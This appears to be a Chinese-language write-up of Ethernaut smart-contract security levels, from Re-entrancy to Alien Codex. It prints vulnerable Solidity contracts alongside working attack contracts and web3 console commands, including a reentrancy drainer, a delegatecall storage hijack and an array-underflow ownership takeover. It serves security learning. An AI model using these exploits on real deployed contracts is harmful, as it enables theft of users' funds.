让我们畅谈智能合约安全吧
题库 0x0B Re-entrancy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
transfer:要求接收的智能合约中必须有一个fallback
或者receive
函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
付款方合约的余额不足,小于所要发送的value
接收方合约拒绝接收支付
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}("");
参数为空时会调用 fallback 获取 receive 函数
著名的 The Dao 事件就是由重入攻击造成的,合约中使用的 call 不会有 gas 额度的限制,并且是在发送 eth 后才修改的余额,所以可以设置 receive 函数里面再次调用 withdraw 函数进行重入将余额提取完,攻击代码如下,调用 donateAndWithdraw 并设置 msg.value 为 1000000000000000 Wei。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IReentrance { function donate(address _to) external payable; function withdraw(uint _amount) external; } contract ReentranceAttack { address public owner; IReentrance targetContract; uint targetValue = 1000000000000000; constructor(address _targetAddr) public { targetContract = IReentrance(_targetAddr); owner = msg.sender; } function balance() public view returns (uint) { return address(this).balance; } function donateAndWithdraw() public payable { require(msg.value >= targetValue); targetContract.donate.value(msg.value)(address(this)); targetContract.withdraw(msg.value); } function withdrawAll() public returns (bool) { require(msg.sender == owner, "my money!!"); uint totalBalance = address(this).balance; (bool sent, ) = msg.sender.call.value(totalBalance)(""); require(sent, "Failed to send Ether"); return sent; } receive() external payable { uint targetBalance = address(targetContract).balance; if (targetBalance >= targetValue) { targetContract.withdraw(targetValue); } } }
可以看到攻击后合约地址为 0:
0x0C Elevator 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
逻辑漏洞,第一次 false,第二次 true 就可以绕过了,看 isLastFloor 具体实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Elevator { function goTo(uint _floor) external; } contract Building { bool x=true; address target; Elevator elevator; function isLastFloor(uint) external returns (bool){ x=!x; return x; } function exploit(address _addr) public{ elevator= Elevator(_addr); elevator.goTo(2); } }
0x0D Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
locked 1 字节在 slot0
ID 32 字节在 slot1
flattening 1 字节,denomination 1 字节,awkwardness 2 字节放一起在 slot2
data 中每个元素占 32 个字节,单独一个 slot,所以 data[2] 是在 slot5
最后还要转换 bytes16() 取前十六个字节:
1 2 3 key = await web3.eth.getStorageAt(contract.address, 5) key = key.slice(0, 34) 有个 0x 所以 34 await contract.unlock(key)
0x0E Gatekeeper One 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
看下这个题解:https://www.wangan.com/p/11v7568e662b09fc
修饰器一:之前说过 msg.sender 和 tx.origin 的区别,利用合约来调用函数就可以绕过第一个
修饰器二:利用爆破来撞到剩余 gas 是 8191 的倍数
修饰器三:
第一个 require:uint32(uint64(gateKey)) 从低位截取,变成 0xaaaabbbb。uint16(uint64(gateKey)) 从低位截取,变成 0xbbbb。根据 solidity 的规则,uint32 和 uint16 在比较的时候,较小的类型 uint16 会在高位补 0 至位数和较大类型 uint32 一致,即:0x0000bbbb 和 0xaaaabbbb 比较。因此,我们的参数gateKey 得是一个 xxxxxxxx0000xxxx 类型的数值。
第二个 require:uint64(gateKey) 是保留所有位,而 uint32(uint64(gateKey)) 保留低 32 位。两者低 32 位是一模一样的,要通过 require,则需要高 32 位任意一位不一致即可,因为 uint32(uint64(gateKey)) 高 32 位全部为 0,那么我们传入的参数高 32 位至少需要一位数不为 0。因此,我们的参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。
第三个 require:目前我们确定参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。那么 uint32(uint64(gateKey)) 之后的结果就是 0000xxxx。uint16(uint160(tx.origin)) 是对钱包地址进行操作,数值类型从低位开始截取,即 uint16(uint160(tx.origin)) 的结果是我们钱包地址的后 16 位,就是后面 4 个数,对于我来说为 9CB7。那么这个gateKey 就确定下来了,可以为:FFFFFFFF00009CB7。(前 8 个 F 是可变的,0000 是雷打不动的,9CB7 根据自己的钱包而定)
攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pragma solidity ^0.8.0; interface GatekeeperOne { } contract Hack{ GatekeeperOne gatekeeperOne = GatekeeperOne(); // 填 instance 地址 function attack() public { bytes8 key = 0xFFFFFFFF00009CB7; // 网络版本 // 为什么这么写呢?因为有玩家通过测试,本关这里的gas的i大概在210次 // 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270 // 那么,他就打算从gas=150开始循环 // 最多到270次就收手,这就是120的由来:270-150=120 for (uint256 i = 0; i < 120; i++) { (bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key)); if (result) { break; } } } function attack_() public { bytes8 key = 0xFFFFFFFF00009CB7; //未知版本 for (uint256 i = 0; i < 8191; i++) { // 乘3原因:气体最低21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值 // i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。 // 一旦试出来,result返回true,就可以退出循环了 (bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key)); if (result) { break; } } } }
可以看到 entrant 变成了我的钱包地址:
0x0F Gatekeeper Two 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
修饰器一还是一样
修饰器二:要求 caller 的 code 为 0,我们利用构造函数值运行,那么合约本身就没有任何运行时字节码
修饰器三:uint64(0)-1,取 uint64 的最大值,bytes8(keccak256(abi.encodePacked(msg.sender)))部分是从msg.sender(即本例中的Exploiter合约)中抽取低位的8字节并将其转换为uint64。指令a ^ b是位的XOR(异或)操作。XOR 操作是这样的:如果位置上的两个位相等,将产生一个 “0”,否则将产生一个 “1”。为了使a ^ b = type(uint64).max(都是1), b必须是a的逆数。
攻击代码如下:
1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.8.0; contract attack { constructor(address _victim) { bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key); (bool success,) = _victim.call(payload); require(success, "failed somewhere..."); } }
0x10 Naught Coin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
transfer 函数被修饰器限制了,但是 ERC20 还支持 transferFrom 函数,
1 2 3 4 secondaddr='' // 第二个随便转出的地址 totalvalue='1000000000000000000000000' await contract.approve(player,totalvalue) await contract.transferFrom(player,secondaddr,totalvalue)
0x11 Preservation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
delegatecall 调用上下文在调用合约中,想要修改 owner 就是需要修改第三个 slot,那么可以第一次调用来修改 slot0 的 timeZone1Library,那么 timeZone1Library 可以修改劫持为自己攻击合约的地址,第二次调用可以直接调用的是攻击合约中的 setTime 函数来修改 slot2
1 2 3 4 5 6 7 8 9 10 11 12 13 pragma solidity ^0.8.0; contract AttackPreservation { // stores a timestamp address doesNotMatterWhatThisIsOne; address doesNotMatterWhatThisIsTwo; address maliciousIndex; function setTime(uint _time) public { maliciousIndex = address(uint160(_time)); } }
部署合约后
1 2 await contract.setFirstTime("攻击合约的地址") await contract.setFirstTime(player);
攻击成功:
0x12 Recovery 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
在 https://sepolia.etherscan.io/ 上搜索 Instance 的记录,
点进去看到合约的地址,拿到地址后直接 js 调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 data = web3.eth .abi .encodeFunctionCall ({ name : 'destroy' , type : 'function' , inputs : [{ type : 'address' , name : '_to' }] }, [player]); await web3.eth .sendTransaction ({ to : "找到的合约地址" , from : player, data : data })
destory 参数其实随便填就行,这里我们填入的是 player
0x13 MagicNumber 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MagicNum { address public solver; constructor() {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ }
直接操作字节码不太会,看这篇 题解 ,
1 2 3 4 let bytecode = "0x600A600C600039600A6000F3602A60805260206080F3"; web3.eth.sendTransaction({from: player, data: bytecode}); // 通关 Etherscan 得到合约地址 contractAddress await contract.setSolver("contractAddress");
0x14 Alien Codex 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
这种动态数组的第一个元素不是紧贴长度的,也就是 slot1 在这个合约中,是 keccak256(p),计算出来的。这里 p 是 1,算出来后再溢出 2^256 slot 最多的长度就行。
1 2 3 4 5 6 contract.makeContact () contract.retract () await contract.revise ('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a' , '0x000000000000000000000000' + player.substr (2 ))